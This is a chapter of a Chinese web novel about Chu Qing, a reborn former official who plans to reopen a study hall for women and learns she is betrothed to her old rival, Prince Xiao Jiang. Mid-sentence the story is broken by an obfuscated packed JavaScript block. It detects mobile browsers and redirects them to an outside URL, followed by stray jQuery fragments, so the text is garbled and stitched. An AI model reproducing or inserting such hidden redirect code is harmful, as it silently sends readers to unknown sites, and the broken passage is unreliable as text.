楚卿站在院子里，冷不防打了个喷嚏。


    雪已经停了，但北风依旧冷得刺骨。


    林七烧好热水，灌了一个汤婆子，拿出来递给楚卿：“大人，你生病了。”


    楚卿接过汤婆子，捧在手里暖了暖，朝冻红的指尖哈了口气：“不妨事，这几日风雪大，有些着凉了。”


    她望着风雪，忽然想起一些旧事，“小七，你还记得吗？我们刚到京城那天，晟都也下了好大一场雪。我们为了省下二两银子，不肯进城住客栈。俩人挤在城郊的土地庙里，冻得连鼻涕都结了冰。”


    楚卿忍不住发笑，林七却只是目光闪烁，淡淡应了一声：“属下记得。”


    林七还记得，那天晚上楚卿笨手笨脚地爬到土地庙的房顶，远远眺望着灯火通明的晟都城，朝着寒风吹来的方向大喊，说她一定、一定会在京城站稳脚跟，晟都城中的四万八千盏灯火，迟早有一盏，专为她而明。


    那时候林七只觉得，站在她身前的人，比皇城中的万千灯火更加耀眼。


    每每想到此处，林七都会倍感自责，为什么去年中秋宫宴上，她没有保护好大人？若是那天她没有提前离开，她的大人或许就不会葬身火海。


    楚卿注意到林七的神色有些异样，戳了她一下：“想什么呢？”


    林七摇了摇头：“大人，回屋吧！外面冷。”


    楚卿抱着汤婆子，又恋恋不舍地打量一圈熟悉的小院，点了点头：“嗯，走吧，是挺冷的。”


    这间朴素的小院，原是楚卿和林七到京城后的第一个家。


    那时候，楚卿手里只有过去几年跟着商队跑商攒下的银子，数目不多，在京城这种寸土寸金的地方，只够租下这座只有两间屋子的小院。


    最开始那两年，楚卿和林七一直住这里，白天一起出去跑生意赚钱；到了晚上，楚卿熬夜读书，林七就在一旁给她掌灯。


    后来，楚卿慢慢结交了新友，有了新的营生，积蓄越攒越多，便将这间小院买了下来。


    起初，秉烛书斋还是楚卿的私宅。等后来楚卿入礼部为官，有了自己的官邸，便将小院的两间屋子打通，建成了一家书馆，取名秉烛书斋，供客人借阅书籍。


    秉烛书斋只招待女客，来秉烛书斋的客人大多是家境一般、没有条件读书，或是家中长辈重男轻女、不许女子求学的姑娘家。


    楚卿一开始只为她们提供书籍借阅，不收银两，只需要她们每月出一两位来书斋帮忙打扫整理书架。


    后来，客人越来越多，楚卿慢慢注意到，京城之中和她曾经一样有心求学的女子远比自己想象得多。只是借书，远不能满足她们的需求。


    因此，楚卿有了一个大胆的想法——她要办一家书院，属于女子的书院。


    大靖没有女子求学的先例，办女子书院非一朝一夕之事。为了不耽误那些姑娘求学，楚卿便先在秉烛书斋里偷偷授课。


    白天，她是礼部的新秀官员楚钦楚大人；


    晚上，她便成了和女学生们始终隔着一道纱帐的楚先生。


    书斋的课，直到楚卿葬身大火的前夕还在进行。


    听林七说，直到楚卿葬身的第二个月，因为实在找不到其他女先生，课程才被迫取消。而秉烛书斋也因此又退回成一间仅供借阅书籍的书馆。


    想到此处，楚卿不免惋惜。她想着等以后离开将军府，事态安稳些，秉烛书斋还是要再开起来。


    比起礼部尚书的楚大人，她更想做书斋里的楚先生。


    回到屋子后，林七给楚卿倒一杯热茶暖身子，问她：“大人，接下来，你打算怎么办？”


    楚卿道：“我现在的身份是镇南将军府的楚二小姐，行事远不如从前方便。我还是想先联系上苏姐姐，托她帮我打听打听如今京城的局势，再为将来离开将军府的事情做打算。”


    楚卿口中的苏姐姐名唤苏兰桡，是京城第一乐坊的坊主，也是楚卿来到京城结交的第一位友人。除了林七，苏兰桡是楚卿唯一能完全信任的人。


    林七会意，应道：“属下明日便去找苏坊主。”


    楚卿叹了一声：“恐怕今晚就得去。楚家明日采买丫鬟，我想让你混到丫鬟队伍中，和我一起住进将军府。这事，只能找苏姐姐帮忙。时间比较赶，要辛苦你今晚就跑一趟了。”


    林七道：“不辛苦。”


    能回到大人身边，无论如何，她都不会觉得辛苦。


    楚卿思量一瞬，又道：“哦，对了，还有一件事。你去找苏姐姐的时候，顺便再托她帮我打听一件事。楚二身边原来有个丫鬟，叫秋云，据说是淮安水县人。你托苏姐姐帮我查查，这个小姑娘现在在哪，是否回了家，如果已经回了家，再问问具体返家的具体原因。”


    林七又一一应下。


    楚卿交代的差不多，时辰也不早了。她是偷偷出来的，为避免被发现，还得早点回去。


    林七出门送她。二人一直走到巷子口，林七才终于忍不住问了一句：“大人，那你呢？”


    楚卿一时没反应过来：“什么？”


    林七不平道：“大人一路南下进京，历经多少波折才做到礼部尚书的位置，如今，便当真什么都不要了吗？”


    林七很少一次性说这么长一段话，楚卿不由愣了愣，思量一瞬，才终于明白为何林七从见到她开始便一直苦着脸。


    她叹道：“小七，我已经不是什么大人了。你也即将随我入住进将军府，我们都要尽快适应新的身份。以后，要叫小姐了。”


    林七垂眸不语，显然在置气。


    楚卿知道她在纠结什么，遂耐心安慰：“干嘛苦着脸，我不是还活着么？不过是换了副身体，我还是我，不会变的。”


    林七依旧不语。


    这丫头就是这样的性子，固执认死理，钻起牛角尖来，十头牛都拉不动她。


    楚卿无奈叹了一声，终于说出了自重生起一直藏在心里的话。


    她语重心长道：“小七，你是自沧州时便跟在我身边的。我们一路走过来，吃过多少苦，受过多少累，走得有多艰难，只有我们自己清楚。


    “我明白你的惋惜，我也一样不甘。谁会甘心舍下自己一手拼出的基业，抛下一切，全部重新开始呢？


    “可是小七，你也应该明白我入朝为官究竟是为了什么。”楚卿的语气很少如此严肃，“我并非贪图高官厚禄，别说是礼部尚书，就算是宰相之位，只要不能让我以女子的身份出现在世人眼前，那就都不是我想要的。


    “其实我早该想明白，过去走的那条路再风光，也已经走到头了。礼部尚书官居三品，一旦被人发现我是女子，如此欺君大罪，绝不止我一人会因此丧命。不仅是礼部上下，连当年引荐我入礼部的周老先生都会受到牵连。


    “太多的头衔压在我身上，朝中多少眼睛在暗处盯着。从前的处境，已容不得我犯错。”楚卿微微攥起手掌，目光愈发坚定，“既然礼部尚书不能是女子，那从前的路，便不是我楚卿要走的路。


    “有些事，不破不立。既然当初的路已经走进死胡同，如今一切从头开始，未尝不是一件好事。”


    楚卿说完，目光灼灼地望着远处的灯火。林七在一旁看着她，恍惚间，竟觉得又回到了初到京城的那个晚上。


    而她身前的人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790852|158092||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    容颜虽改，眼底的光却犹胜当年。


    林七久违地笑了：“好，听大人的。”


    直到此时此刻，她才深切地觉得，她的楚大人，是真的回来了。


    ……


    次日清早，柳嬷嬷将采买的丫鬟带回府。林七混在其中，顺利被楚卿接回了身边。


    琼英院里只有两间屋子，小姐一间，丫鬟们一间。


    楚卿本想拉林七来自己的房里住，可转头看了看一脸天真无邪的玉竹，又觉得自己如此明目张胆的偏心，会伤了人家小姑娘的心。


    所以林七最后还是搬进偏房，和玉竹住在了一起。


    然而，楚卿还是安排错了。


    林七性子孤冷，寡言少语，时常冷着脸。玉竹因此有些怕她。林七在屋子里的时候，玉竹总会找个由头溜出去。俩人几乎没有一同出现过。


    午间用过饭，林七翻墙出去偷偷练武，玉竹就一个人坐在院子里发呆，小脸冻得红扑扑的，也不知道在想什么。


    楚卿捧着暖手炉路过，瞧见她玉竹坐在角落里，过去同她搭话：“发什么呆呢？”


    玉竹回过神，一脸困惑地答道：“奴婢觉得西院的风水不太好。”


    楚卿很有耐心，问她：“怎么说？”


    玉竹十分认真地解释：“早间奴婢路过西院，看见姑老爷正在跑圈，身上就穿了一件单衣，连嘴唇都冻紫了。奴婢觉得准是西院的风水不好，姑老爷不慎中邪了。”


    楚卿愣住两秒，扑哧一声大笑起来。


    别说，西院的高大人还真中邪了。只不过作祟的鬼怪不是别人，正是楚卿自己！


    楚卿因为这事笑了足有半个时辰，直到后来柳嬷嬷来找她，她才止住笑声。


    而后续发生的事，也再一次印证了什么叫乐极生悲。


    柳嬷嬷来找楚卿，说让她去蒋氏那挑一挑首饰，留着以后出嫁的时候戴。


    楚卿顿时傻眼：“出嫁？嫁给谁啊？”


    柳嬷嬷也知道自从上次大病过后，二小姐的记性一直不好，所以特别耐心地解释：“当然是嫁给祁王啊！五殿下，当今圣上道五皇子，祁王，萧绛。”


    楚卿的暖手炉吧嗒一声掉在地上。


    谁？


    祁王？


    萧绛？


    楚卿几乎不敢相信自己的耳朵。


    她在将军府住了也有两日多，之前怎么没人告诉她，她还有那么大一纸婚约呢？


    楚卿不敢相信地指了指自己：“我，嫁给萧绛？”


    柳嬷嬷一直对这位未来的姑爷格外满意，骄傲笑道：“当然啦！还是圣上赐婚呢，半月前刚定下的。”


    楚卿整个人僵在北风里，半晌没有说话。


    等会儿，让她反应一下。


    她应该没听错，是祁王。


    那个她曾经在朝为官时的死对头，那个皇城中出了名的病秧子，那个在朝堂上和她水火不容地斗了三年的祁王。


    斗来斗去，竟斗成了她的夫君？


    楚卿惊住良久才平静下来，开始重新梳理自己的处境。


    现在，她不仅是镇南将军府的楚二小姐，还是她从前对头的准王妃。


    那么，凭她对萧绛的了解，将军府内必有祁王府的眼线。而她前往秉烛书斋的事情，很可能已经败露了。


    她得尽快把林七找回来，萧绛不仅知晓她从前是女儿身，还不止一次见过林七。


    如果被萧绛发现林七在将军府，事情可就麻烦了。


    可偏偏好巧不巧的，没等楚卿出去找人，前院已经来人通传。


    祁王萧绛造访将军府，眼下已经快到琼英院了。